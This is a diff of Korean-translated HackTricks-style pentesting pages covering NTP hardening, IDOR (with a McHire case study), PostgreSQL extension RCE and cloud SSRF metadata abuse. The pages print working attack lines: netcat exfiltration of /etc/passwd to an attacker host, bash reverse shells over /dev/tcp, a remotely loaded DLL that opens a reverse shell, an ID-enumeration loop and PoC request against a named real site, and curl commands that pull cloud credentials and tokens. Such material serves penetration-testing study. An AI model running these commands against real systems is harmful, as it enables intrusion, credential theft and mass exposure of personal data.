@ -122,12 +122,12 @@ openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
*운영자는 다음을 수행해야 합니다:*
1. **≥ 4**개의 독립적이고 다양한 시간 소스(공개 풀, GPS, PTP-브리지)를 사용하여 단일 소스 오염을 피하십시오.
2. ``kod`` 및 ``limited``/``nomodify`` 제한을 활성화하여 악의적인 클라이언트가 전체 응답 대신 **Kiss-o'-Death** 속도 제한 패킷을 받도록 하십시오.
3. **panic** 이벤트 또는 1000초 이상의 단계 조정을 위해 데몬 로그를 모니터링하십시오. (RFC 8633 §5.3에 따른 공격의 징후.)
2. 남용 클라이언트가 전체 응답 대신 **Kiss-o'-Death** 속도 제한 패킷을 받도록 ``kod`` 및 ``limited``/``nomodify`` 제한을 활성화하십시오.
3. **panic** 이벤트 또는 1000초 이상의 단계 조정을 모니터링하십시오. (RFC 8633 §5.3에 따른 공격의 징후.)
4. 도약 초 중단을 피하기 위해 **leap-smear**를 고려하되, *모든* 하류 클라이언트가 동일한 스미어 윈도우를 사용하도록 하십시오.
5. 도약 초 플래그가 누락되지 않도록 폴링을 ≤24시간으로 유지하십시오.
포괄적인 체크리스트는 RFC 8633을 참조하십시오. citeturn8search0turn8search1
포괄적인 체크리스트는 RFC 8633을 참조하십시오.
---
## Shodan / Censys Dorks
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
---
## References
- RFC 8915 – *Network Time Security for the Network Time Protocol* (port 4460) citeturn11search0
- RFC 8633 – *Network Time Protocol BCP* citeturn8search0
- Cloudflare DDoS report 2024 Q4 (5.6 Tbps) citeturn5search0
- Cloudflare *NTP Amplification Attack* article citeturn5search1
- NTP 4.2.8p15 CVE series 2023-04 citeturn1search4
- NVD entries **CVE-2023-26551–55**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
- SUSE chrony security update 2024 (chrony 4.5) citeturn2search2
- Khronos/Chronos draft (time-shift mitigation) citeturn9search1
- chronyc manual/examples for remote monitoring citeturn3search0turn10search1
- zgrab2 ntp module docs citeturn7search0
- RFC 8915 – *Network Time Security for the Network Time Protocol* (port 4460)
- RFC 8633 – *Network Time Protocol BCP*
- Cloudflare DDoS report 2024 Q4 (5.6 Tbps)
- Cloudflare *NTP Amplification Attack* article
- NTP 4.2.8p15 CVE series 2023-04
- NVD entries **CVE-2023-26551–55**, **CVE-2023-33192**
- SUSE chrony security update 2024 (chrony 4.5)
- Khronos/Chronos draft (time-shift mitigation)
- chronyc manual/examples for remote monitoring
- zgrab2 ntp module docs
{{#include /banners/hacktricks-training.md}}

86
src/pentesting-web/idor.md
View File

@ -1,5 +1,85 @@
{{#include ../banners/hacktricks-training.md}}
**게시물 확인: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 **직접적으로** 내부 객체에 접근하는 데 사용되는 사용자 제어 식별자를 공개하거나 수락할 때 발생합니다. **호출자가 해당 객체에 접근/수정할 권한이 있는지 확인하지 않고** 접근합니다. 성공적인 악용은 일반적으로 다른 사용자의 데이터를 읽거나 수정하는 수평 또는 수직 권한 상승을 허용하며, 최악의 경우 전체 계정 탈취 또는 대량 데이터 유출을 초래할 수 있습니다.
---
## 1. 잠재적 IDOR 식별하기
1. **객체를 참조하는 매개변수**를 찾습니다:
* 경로: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* 쿼리: `?id=42`, `?invoice=2024-00001`
* 본문 / JSON: `{"user_id": 321, "order_id": 987}`
* 헤더 / 쿠키: `X-Client-ID: 4711`
2. 데이터를 **읽거나 업데이트**하는 엔드포인트를 선호합니다 (`GET`, `PUT`, `PATCH`, `DELETE`).
3. 식별자가 **순차적이거나 예측 가능할 때** 주의합니다 – 만약 당신의 ID가 `64185742`라면, `64185741`도 아마 존재할 것입니다.
4. 추가 API를 노출할 수 있는 숨겨진 또는 대체 흐름(예: 로그인 페이지의 *"Paradox team members"* 링크)을 탐색합니다.
5. **인증된 저권한 세션**을 사용하고 ID만 변경합니다 **같은 토큰/쿠키를 유지하면서**. 권한 오류가 없다는 것은 일반적으로 IDOR의 신호입니다.
### 빠른 수동 변조 (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### 자동화된 열거 (Burp Intruder / curl 루프)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
## 2. 실제 사례 연구 – McHire 챗봇 플랫폼 (2025)
Paradox.ai 기반의 **McHire** 채용 포털 평가 중 다음과 같은 IDOR이 발견되었습니다:
* 엔드포인트: `PUT /api/lead/cem-xhr`
* 인증: **모든** 레스토랑 테스트 계정의 사용자 세션 쿠키
* 본문 매개변수: `{"lead_id": N}` – 8자리, **순차적인** 숫자 식별자
`lead_id`를 감소시킴으로써 테스터는 임의의 지원자의 **전체 PII** (이름, 이메일, 전화번호, 주소, 근무 선호도)와 세션 하이재킹을 허용하는 소비자 **JWT**를 검색했습니다. 범위 `1 – 64,185,742`의 열거는 대략 **6400만** 개의 기록을 노출했습니다.
개념 증명 요청:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
결합된 **기본 관리자 자격 증명** (`123456:123456`)이 테스트 계정에 대한 접근을 허용하여, 이 취약점은 심각한 회사 전체 데이터 유출로 이어졌습니다.
---
## 3. IDOR / BOLA의 영향
* 수평 상승 – **다른 사용자**의 데이터 읽기/업데이트/삭제.
* 수직 상승 – 낮은 권한의 사용자가 관리자 전용 기능을 얻음.
* 식별자가 순차적일 경우 대량 데이터 유출 (예: 지원자 ID, 청구서).
* 다른 사용자의 토큰을 훔치거나 비밀번호를 재설정하여 계정 탈취.
---
## 4. 완화 및 모범 사례
1. 모든 요청에 대해 **객체 수준의 권한 부여**를 시행 (`user_id == session.user`).
2. 자동 증가 ID 대신 **간접적이고 추측할 수 없는 식별자** (UUIDv4, ULID)를 선호.
3. 권한 부여를 **서버 측에서 수행**, 숨겨진 폼 필드나 UI 컨트롤에 의존하지 않음.
4. 중앙 미들웨어에서 **RBAC / ABAC** 검사를 구현.
5. ID 열거를 감지하기 위해 **속도 제한 및 로깅** 추가.
6. 모든 새로운 엔드포인트에 대해 보안 테스트 수행 (단위, 통합 및 DAST).
---
## 5. 도구
* **BurpSuite 확장**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github 프로젝트**: `bwapp-idor-scanner`, `Blindy` (대량 IDOR 탐색).
{{#include ../banners/hacktricks-training.md}}
## 참고 문헌
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
{{#include /banners/hacktricks-training.md}}

34
src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
View File

@ -4,9 +4,9 @@
## PostgreSQL Extensions
PostgreSQL는 확장성을 핵심 기능으로 개발하여, 마치 내장 기능처럼 확장을 원활하게 통합할 수 있습니다. 이러한 확장은 본질적으로 C로 작성된 라이브러리로, 데이터베이스에 추가 기능, 연산자 또는 유형을 제공합니다.
PostgreSQL는 확장성을 핵심 기능으로 개발하여, 확장을 마치 내장 기능처럼 원활하게 통합할 수 있습니다. 이러한 확장은 본질적으로 C로 작성된 라이브러리로, 데이터베이스에 추가 기능, 연산자 또는 유형을 풍부하게 합니다.
버전 8.1부터는 확장 라이브러리에 특정 요구 사항이 부과됩니다: 특별한 헤더로 컴파일되어야 합니다. 그렇지 않으면 PostgreSQL은 이를 실행하지 않으며, 호환 가능하고 잠재적으로 안전한 확장만 사용되도록 보장합니다.
8.1 버전부터는 확장 라이브러리에 특정 요구 사항이 부과됩니다: 특별한 헤더로 컴파일되어야 합니다. 그렇지 않으면 PostgreSQL은 이를 실행하지 않으며, 호환 가능하고 잠재적으로 안전한 확장만 사용되도록 보장합니다.
또한, **PostgreSQL을 악용하여 피해자에게 파일을 업로드하는 방법을 모른다면 이 게시물을 읽어야 합니다.** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
@ -14,7 +14,7 @@ PostgreSQL는 확장성을 핵심 기능으로 개발하여, 마치 내장 기
**자세한 정보는 다음을 확인하세요: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
PostgreSQL 8.1 및 이전 버전에서 시스템 명령을 실행하는 것은 명확하게 문서화되어 있으며 간단한 프로세스입니다. 이를 사용하여: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
PostgreSQL 8.1 및 이전 버전에서 시스템 명령을 실행하는 것은 명확하게 문서화되어 있으며 간단한 프로세스입니다. 이를 사용하여 다음을 사용할 수 있습니다: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
<summary>Write binary file from base64</summary>
Postgres에서 이진 파일을 작성하려면 base64를 사용해야 할 수 있습니다. 이는 그 문제에 도움이 될 것입니다:
Postgres에 이진 파일을 쓰려면 base64를 사용해야 할 수 있습니다. 이 방법이 도움이 될 것입니다:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
이 오류는 [PostgreSQL 문서](https://www.postgresql.org/docs/current/static/xfunc-c.html)에서 설명되어 있습니다:
> 동적으로 로드된 객체 파일이 호환되지 않는 서버에 로드되지 않도록 하기 위해 PostgreSQL은 파일에 적절한 내용이 포함된 "매직 블록"이 있는지 확인합니다. 이를 통해 서버는 PostgreSQL의 다른 주요 버전용으로 컴파일된 코드와 같은 명백한 호환성 문제를 감지할 수 있습니다. 매직 블록은 PostgreSQL 8.2부터 필요합니다. 매직 블록을 포함하려면, 헤더 fmgr.h를 포함한 후 모듈 소스 파일 중 하나(그리고 단 하나)에 다음을 작성하십시오:
> 동적으로 로드된 객체 파일이 호환되지 않는 서버에 로드되지 않도록 PostgreSQL은 파일에 적절한 내용이 포함된 "매직 블록"이 있는지 확인합니다. 이를 통해 서버는 PostgreSQL의 다른 주요 버전용으로 컴파일된 코드와 같은 명백한 비호환성을 감지할 수 있습니다. 매직 블록은 PostgreSQL 8.2부터 필요합니다. 매직 블록을 포함하려면, 헤더 fmgr.h를 포함한 후 모듈 소스 파일 중 하나(그리고 단 하나)에 다음을 작성하십시오:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
PostgreSQL 8.2 버전 이후로 공격자가 시스템을 악용하는 과정이 더 어려워졌습니다. 공격자는 시스템에 이미 존재하는 라이브러리를 사용하거나 사용자 정의 라이브러리를 업로드해야 합니다. 이 사용자 정의 라이브러리는 호환 가능한 주요 버전의 PostgreSQL에 대해 컴파일되어야 하며 특정 "매직 블록"을 포함해야 합니다. 이 조치는 PostgreSQL 시스템을 악용하는 난이도를 크게 증가시키며, 시스템의 아키텍처와 버전 호환성에 대한 더 깊은 이해가 필요합니다.
PostgreSQL 8.2 버전 이후로 공격자가 시스템을 악용하는 과정이 더 어려워졌습니다. 공격자는 시스템에 이미 존재하는 라이브러리를 사용하거나 사용자 정의 라이브러리를 업로드해야 합니다. 이 사용자 정의 라이브러리는 호환되는 PostgreSQL의 주요 버전에 대해 컴파일되어야 하며 특정 "매직 블록"을 포함해야 합니다. 이 조치는 PostgreSQL 시스템을 악용하는 난이도를 크게 증가시키며, 시스템의 아키텍처와 버전 호환성에 대한 더 깊은 이해를 필요로 합니다.
#### 라이브러리 컴파일
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
이 **라이브러리는 여러 다른 PostgreSQL 버전으로 미리 컴파일된** 것을 찾을 수 있으며, **이 프로세스를 자동화할 수 있습니다** (PostgreSQL 접근 권한이 있는 경우) :
다음 **라이브러리는 미리 컴파일된** 여러 PostgreSQL 버전에서 찾을 수 있으며, **이 프로세스를 자동화할 수 있습니다** (PostgreSQL 접근 권한이 있는 경우) 다음과 함께:
{{#ref}}
https://github.com/Dionach/pgexec
@ -254,38 +254,38 @@ int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
이 경우 **악성 코드가 DllMain 함수 안에 있습니다**. 이는 이 경우 postgresql에서 로드된 함수를 실행할 필요가 없으며, 단지 **DLL을 로드하는 것만으로** 리버스 셸이 **실행됩니다**:
이 경우 **악성 코드는 DllMain 함수 안에 있습니다**. 이는 이 경우 postgresql에서 로드된 함수를 실행할 필요가 없으며, 단지 **DLL을 로드하는 것만으로** 리버스 셸이 **실행됩니다**:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
[PolyUDF 프로젝트](https://github.com/rop-la/PolyUDF)는 전체 MS Visual Studio 프로젝트와 사용 준비가 완료된 라이브러리(포함: _command eval_, _exec_ 및 _cleanup_)를 제공하며, 다중 버전 지원이 가능합니다.
[PolyUDF 프로젝트](https://github.com/rop-la/PolyUDF)는 전체 MS Visual Studio 프로젝트와 사용 준비가 완료된 라이브러리(포함: _command eval_, _exec_ 및 _cleanup_)가 있는 좋은 시작점입니다. 멀티버전 지원이 포함되어 있습니다.
### 최신 PostgreSQL 버전에서의 RCE
**최신 버전**의 PostgreSQL에서는 `superuser`가 특정 디렉토리(예: Windows의 `C:\Program Files\PostgreSQL\11\lib` 또는 \*nix 시스템의 `/var/lib/postgresql/11/lib`)에서만 공유 라이브러리 파일을 **로드하는 것이 금지**되었습니다. 이러한 디렉토리는 NETWORK_SERVICE 또는 postgres 계정에 의해 쓰기 작업이 **보호**됩니다.
이러한 제한에도 불구하고 인증된 데이터베이스 `superuser`는 "대용량 객체"를 사용하여 파일 시스템에 **바이너리 파일을 쓰는** 것이 가능합니다. 이 기능은 데이터베이스 작업(예: 테이블 업데이트 또는 생성)에 필수적인 `C:\Program Files\PostgreSQL\11\data` 디렉토리 내에서의 쓰기를 포함합니다.
이러한 제한에도 불구하고 인증된 데이터베이스 `superuser`는 "대용량 객체"를 사용하여 파일 시스템에 **바이너리 파일을 쓸 수** 있습니다. 이 기능은 데이터베이스 작업(예: 테이블 업데이트 또는 생성)에 필수적인 `C:\Program Files\PostgreSQL\11\data` 디렉토리 내에서의 쓰기로 확장됩니다.
중요한 취약점은 `CREATE FUNCTION` 명령에서 발생하며, 이는 데이터 디렉토리로의 **디렉토리 탐색을 허용**합니다. 따라서 인증된 공격자는 이 탐색을 **악용하여** 데이터 디렉토리에 공유 라이브러리 파일을 쓰고 이를 **로드**할 수 있습니다. 이 익스플로잇은 공격자가 임의의 코드를 실행할 수 있게 하여 시스템에서 네이티브 코드 실행을 달성하게 합니다.
중요한 취약점은 `CREATE FUNCTION` 명령에서 발생하며, 이는 데이터 디렉토리로의 **디렉토리 탐색**을 **허용**합니다. 따라서 인증된 공격자는 이 탐색을 **악용**하여 데이터 디렉토리에 공유 라이브러리 파일을 쓰고 이를 **로드**할 수 있습니다. 이 익스플로잇은 공격자가 임의의 코드를 실행할 수 있게 하여 시스템에서 네이티브 코드 실행을 달성하게 합니다.
#### 공격 흐름
먼저 **대용량 객체를 사용하여 dll을 업로드해야** 합니다. 이를 수행하는 방법은 다음에서 확인할 수 있습니다:
우선 **대용량 객체를 사용하여 dll을 업로드해야** 합니다. 이를 수행하는 방법은 여기에서 확인할 수 있습니다:
{{#ref}}
big-binary-files-upload-postgresql.md
{{#endref}}
확장자(poc.dll이라는 이름으로 이 예제에서)를 데이터 디렉토리에 업로드한 후, 다음과 같이 로드할 수 있습니다:
데이터 디렉토리에 확장자(poc.dll이라는 이름으로 이 예제에서)를 업로드한 후에는 다음과 같이 로드할 수 있습니다:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_다음과 같이 `.dll` 확장자를 추가할 필요는 없습니다. create 함수가 이를 추가할 것입니다._
_다음과 같이 `.dll` 확장자를 추가할 필요가 없다는 점에 유의하세요. create 함수가 이를 추가합니다._
자세한 정보는 **[원본 게시물을 여기에서 읽어보세요](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.\
해당 게시물에서는 **postgres 확장을 생성하는 데 사용된** [**코드가 여기에 있습니다**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres 확장을 컴파일하는 방법을 배우려면 이전 버전 중 하나를 읽어보세요_).\
같은 페이지에서 이 **기술을 자동화하는** exploit이 제공되었습니다:
자세한 내용은 **[원본 게시물을 여기에서 읽어보세요](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.\
해당 게시물에서는 **postgres 확장을 생성하는 데 사용된** [**코드가 여기에 있습니다**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_postgres 확장을 컴파일하는 방법을 배우려면 이전 버전 중 하나를 읽어보세요_).\
같은 페이지에서 이 **기술을 자동화하는** **익스플로잇이 제공되었습니다:**
```python
#!/usr/bin/env python3
import sys

59
src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
View File

@ -6,14 +6,14 @@
### AWS EC2 환경에서 SSRF 악용하기
**메타데이터** 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: `http://169.254.169.254` ([메타데이터에 대한 정보는 여기](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**메타데이터** 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 이에 대한 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: `http://169.254.169.254` ([메타데이터에 대한 정보는 여기](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
메타데이터 엔드포인트에는 **2가지 버전**이 있습니다. **첫 번째** 버전은 **GET** 요청을 통해 엔드포인트에 **접근**할 수 있게 해줍니다 (따라서 어떤 **SSRF도 이를 악용할 수 있습니다**). **버전 2**인 [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)에서는 **토큰**을 요청하기 위해 **PUT** 요청을 보내고 **HTTP 헤더**를 사용해야 하며, 그 후에 해당 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 **악용하기 더 복잡합니다**).
메타데이터 엔드포인트에는 **2가지 버전**이 있습니다. **첫 번째** 버전은 **GET** 요청을 통해 엔드포인트에 **접근**할 수 있게 해줍니다 (따라서 어떤 **SSRF도 이를 악용할 수 있습니다**). **버전 2**인 [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)에서는 **토큰**을 요청하기 위해 **PUT** 요청을 보내고 **HTTP 헤더**를 사용해야 하며, 그 후에 해당 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 **SSRF로 악용하기 더 복잡합니다**).
> [!CAUTION]
> EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**로 설정되어 있어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
>
> 또한, **IMDSv2**는 **`X-Forwarded-For` 헤더를 포함한 토큰 요청을 차단합니다**. 이는 잘못 구성된 리버스 프록시가 이를 접근하지 못하도록 방지하기 위함입니다.
> 또한, **IMDSv2**는 `X-Forwarded-For` 헤더를 포함한 토큰 요청을 **차단합니다**. 이는 잘못 구성된 리버스 프록시가 이를 접근하지 못하도록 방지하기 위함입니다.
[메타데이터 엔드포인트에 대한 정보는 문서에서 확인할 수 있습니다](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). 다음 스크립트에서는 이로부터 흥미로운 정보를 얻습니다:
```bash
@ -96,29 +96,29 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
**ECS**는 애플리케이션을 실행할 수 있는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리하기 때문에 자체 클러스터 관리 인프라를 확장할 필요가 없습니다. **ECS**에서 실행 중인 서비스를 손상시키면 **메타데이터 엔드포인트가 변경**됩니다.
_**http://169.254.170.2/v2/credentials/\<GUID>**_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 그러나 먼저 **\<GUID>**를 찾아야 합니다. \<GUID>를 찾으려면 머신 내의 **environ** 변수 **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**를 읽어야 합니다.\
_**http://169.254.170.2/v2/credentials/\<GUID>**_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 하지만 먼저 **\<GUID>**를 찾아야 합니다. \<GUID>를 찾으려면 머신 내의 **environ** 변수 **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**를 읽어야 합니다.\
**Path Traversal**을 이용하여 `file:///proc/self/environ`을 읽을 수 있습니다.\
언급된 http 주소는 **AccessKey, SecretKey 및 token**을 제공해야 합니다.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> [!TIP]
> **일부 경우**에는 컨테이너에서 **EC2 메타데이터 인스턴스**에 접근할 수 있습니다(앞서 언급한 IMDSv2 TTL 제한 사항을 확인하세요). 이러한 시나리오에서는 컨테이너에서 컨테이너 IAM 역할과 EC2 IAM 역할 모두에 접근할 수 있습니다.
### AWS Lambda에 대한 SSRF
이 경우 **자격 증명은 환경 변수에 저장됩니다**. 따라서 이를 접근하려면 **`file:///proc/self/environ`**과 같은 것을 접근해야 합니다.
이 경우 **자격 증명은 env 변수에 저장됩니다**. 따라서 이를 접근하려면 **`file:///proc/self/environ`**과 같은 것을 접근해야 합니다.
**흥미로운 환경 변수의 이름**은 다음과 같습니다:
**흥미로운 env 변수의 이름**은 다음과 같습니다:
- `AWS_SESSION_TOKEN`
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
게다가 IAM 자격 증명 외에도 Lambda 함수는 **함수가 시작될 때 함수에 전달되는 이벤트 데이터**를 가지고 있습니다. 이 데이터는 [런타임 인터페이스](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)를 통해 함수에 제공되며 **민감한** **정보**(예: **stageVariables** 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리 이 데이터는 표준 SSRF를 통해 **`http://localhost:9001/2018-06-01/runtime/invocation/next`**에서 접근할 수 있습니다.
게다가 IAM 자격 증명 외에도 Lambda 함수는 **함수가 시작될 때 함수에 전달되는 이벤트 데이터**를 가지고 있습니다. 이 데이터는 [런타임 인터페이스](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)를 통해 함수에 제공되며 **민감한** **정보**(예: **stageVariables** 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리, 이 데이터는 표준 SSRF를 통해 **`http://localhost:9001/2018-06-01/runtime/invocation/next`**에서 접근할 수 있습니다.
> [!WARNING]
> **람다 자격 증명**이 **환경 변수** 안에 있다는 점에 유의하세요. 따라서 람다 코드의 **스택 추적**이 환경 변수를 출력하면, 앱에서 **오류를 유발하여 이를 유출할 수** 있습니다.
> **lambda 자격 증명**이 **env 변수** 안에 있다는 점에 유의하세요. 따라서 **lambda 코드의 스택 추적**이 env 변수를 출력하면, 앱에서 **오류를 유발하여 이를 유출할 수** 있습니다.
### AWS Elastic Beanstalk에 대한 SSRF URL
@ -141,11 +141,11 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
### Google Cloud의 SSRF URL
HTTP 헤더 **`Metadata-Flavor: Google`**가 필요하며, 다음 URL을 통해 메타데이터 엔드포인트에 접근할 수 있습니다:
HTTP 헤더 **`Metadata-Flavor: Google`**이 필요하며, 다음 URL을 통해 메타데이터 엔드포인트에 접근할 수 있습니다:
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
- [http://169.254.169.254](http://169.254.169.254)
- [http://metadata.google.internal](http://metadata.google.internal)
- [http://metadata](http://metadata)
정보를 추출하기 위한 흥미로운 엔드포인트:
```bash
@ -226,7 +226,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta는 현재 헤더를 요구하지 않습니다 (Mathias Karlsson @avlidienbrunn에게 감사드립니다)
Beta는 현재 헤더를 필요로 하지 않습니다 (Mathias Karlsson @avlidienbrunn에게 감사드립니다)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
```
### Cloud Functions
메타데이터 엔드포인트는 VM에서와 동일하게 작동하지만 일부 엔드포인트는 없습니다:
메타데이터 엔드포인트는 VM에서와 동일하게 작동하지만 일부 엔드포인트가 없습니다:
```bash
# /project
# Project name and number
@ -335,8 +335,8 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> ```bash
> az vm identity show \
> --resource-group <rsc-group> \
> --name <vm-name>
> --resource-group <rsc-group> \
> --name <vm-name>
> ```
>
> - 메타데이터에서 기본 연결 MI를 사용하여 **연결된 ID 가져오기**:
@ -346,20 +346,20 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> # 기본 MI에서 토큰 가져오기
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # 필요한 세부정보 가져오기
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # 연결된 MIs 가져오기 시도
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - 테넌트에 정의된 모든 관리 ID를 **가져오고** VM에 연결된 것이 있는지 **브루트 포스**로 확인하기:
@ -427,7 +427,10 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{{#endtab}}
{{#endtabs}}
### Azure App & Functions Services & Automation Accounts
> [!WARNING]
> **`http://169.254.169.254/metadata/v1/instanceinfo` 엔드포인트는 `Metadata: True` 헤더를 요구하지 않습니다**. 이는 Azure에서 이 헤더를 추가할 수 없는 SSRF 취약점의 영향을 보여주는 데 유용합니다.
### Azure 앱 및 함수 서비스 및 자동화 계정
**env**에서 **`IDENTITY_HEADER`** 및 **`IDENTITY_ENDPOINT`**의 값을 가져올 수 있습니다. 이를 사용하여 메타데이터 서버와 통신할 토큰을 수집할 수 있습니다.
@ -439,7 +442,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
- [https://management.azure.com](https://management.azure.com/)
> [!CAUTION]
